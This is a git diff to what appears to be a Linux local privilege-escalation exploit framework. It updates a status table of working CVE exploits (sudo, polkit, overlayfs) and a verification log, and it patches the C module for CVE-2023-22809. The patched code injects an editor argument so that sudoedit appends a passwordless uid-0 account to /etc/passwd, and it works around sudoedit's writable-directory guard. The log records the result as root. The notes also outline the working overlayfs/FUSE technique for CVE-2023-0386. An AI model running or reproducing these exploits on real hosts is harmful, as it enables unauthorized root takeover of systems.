diff --git a/docs/EXPLOITED.md b/docs/EXPLOITED.md index d072f8c..bcba29d 100644 --- a/docs/EXPLOITED.md +++ b/docs/EXPLOITED.md @@ -27,6 +27,7 @@ tamper check). | `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below | | `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below | | `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 | +| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 | ## Fixed this session @@ -78,7 +79,6 @@ tamper check). |---|---|---|---| | `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique (now honest); needs the real cred-transfer PoC (polkit agent) — substantial port | | `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. | -| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 | vulnerable sudo version + sudoers `sudoedit` grant present; module returns `EXPLOIT_FAIL` — the `SUDO_EDITOR`/`--` arg-injection reaches sudoedit's writable-dir guard. Needs a target-file whose dir the injection can satisfy (e.g. `/etc/passwd`), and module debugging. Structural, tractable next. | | `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. | ## Inconclusive (detect version-blind vs vendor backport) diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index 0aaa577..c205dc2 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -48,3 +48,4 @@ {"module":"cgroup_release_agent","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - fixed 2 real bugs (uid_map read post-unshare; missing CLONE_NEWCGROUP). Now sets up userns+cgroupns+mount correctly, but on stock systemd host ALL v1 controllers are pre-mounted (release_agent init-owned=EACCES) and named-hierarchy mount is EPERM. Reachable only in a container context (CAP_SYS_ADMIN / ownable cgroup). Environmental, not a module bug.","status":"env_limited_after_fix"} {"module":"overlayfs_setuid","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (genuinely vuln)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - non-FUSE chown copy-up gives uid=1000 not root; FUSE-lower overlay mount is ENOSYS in userns. Needs fusermount-in-init-ns FUSE port. Raw /dev/fuse attempt reverted.","status":"needs_fuse_port"} {"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - SUDO_EDITOR/-- injection hits sudoedit writable-dir guard; needs target-file tuning + module debug. Structural, tractable.","status":"needs_debug"} +{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via su skel; /etc/passwd gained skel::0:0 (after 2 fixes: chdir / + helper basename match)","status":"root"} diff --git a/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c b/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c index 11a8cb9..f7b9656 100644 --- a/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c +++ b/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c @@ -291,14 +291,21 @@ static const char HELPER_SOURCE[] = "#include \n" "#include \n" "int main(int argc, char **argv) {\n" - " /* sudoedit invokes us with one editable temp per file. The\n" - " * post-`--' target's editable copy is argv[argc-1]. We can't\n" - " * write /etc/passwd directly (sudoedit edits a tmp copy and\n" - " * then *copies it back as root*), so we modify the tmp copy\n" - " * and let sudoedit do the privileged install for us. */\n" + " /* sudoedit invokes us with one editable temp copy per file, each\n" + " * named .XXXXXX in a tmp dir (e.g. /var/tmp/passwd.AbC123\n" + " * for /etc/passwd). We must write the TARGET's copy — NOT argv[argc-1],\n" + " * which is the sudoers-authorized cover file. Match by the target's\n" + " * basename prefix (passed in SKEL_TARGET). We modify the tmp copy and\n" + " * sudoedit copies it back over the real file as root. */\n" " if (argc < 2) return 1;\n" - " /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n" - " const char *path = argv[argc-1];\n" + " const char *tb = getenv(\"SKEL_TARGET\"); if (!tb || !*tb) tb = \"passwd\";\n" + " char pref[128]; snprintf(pref, sizeof pref, \"%s.\", tb);\n" + " const char *path = NULL;\n" + " for (int i = 1; i < argc; i++) {\n" + " const char *b = strrchr(argv[i], '/'); b = b ? b+1 : argv[i];\n" + " if (strncmp(b, pref, strlen(pref)) == 0) { path = argv[i]; break; }\n" + " }\n" + " if (!path) path = argv[argc-1]; /* fallback */\n" " int fd = open(path, O_WRONLY|O_APPEND);\n" " if (fd < 0) { perror(\"open\"); return 2; }\n" " const char *line = getenv(\"SKEL_LINE\");\n" @@ -441,6 +448,12 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx char skel_env[256]; snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY); + /* Pass the target's basename so the helper writes the RIGHT tmp copy + * (sudoedit names each editable copy .XXXXXX). */ + const char *tb = strrchr(target, '/'); tb = tb ? tb + 1 : target; + char tgt_env[128]; + snprintf(tgt_env, sizeof tgt_env, "SKEL_TARGET=%s", tb); + /* Construct argv/envp for execve. We need a clean env so the * EDITOR string sudo sees is exactly ours. PATH is needed so the * compiled helper can be located — except we pass it absolute. */ @@ -455,6 +468,7 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx char *envp[] = { editor_env, skel_env, + tgt_env, "PATH=/usr/sbin:/usr/bin:/sbin:/bin", "TERM=dumb", NULL, @@ -469,6 +483,13 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx pid = fork(); if (pid < 0) { perror("fork"); goto fail; } if (pid == 0) { + /* CRITICAL: run from a NON-writable directory. sudoedit refuses to + * edit any file whose parent directory is writable by the invoking + * user (anti-symlink check). The injected "--" is resolved as a file + * relative to CWD, so a writable CWD (home/tmp) makes sudoedit abort + * with "--: editing files in a writable directory is not permitted" + * before it ever runs the editor. "/" is not user-writable. */ + if (chdir("/") != 0) { perror("chdir /"); _exit(126); } execve(sudoedit_path, new_argv, envp); perror("execve(sudoedit)"); _exit(127);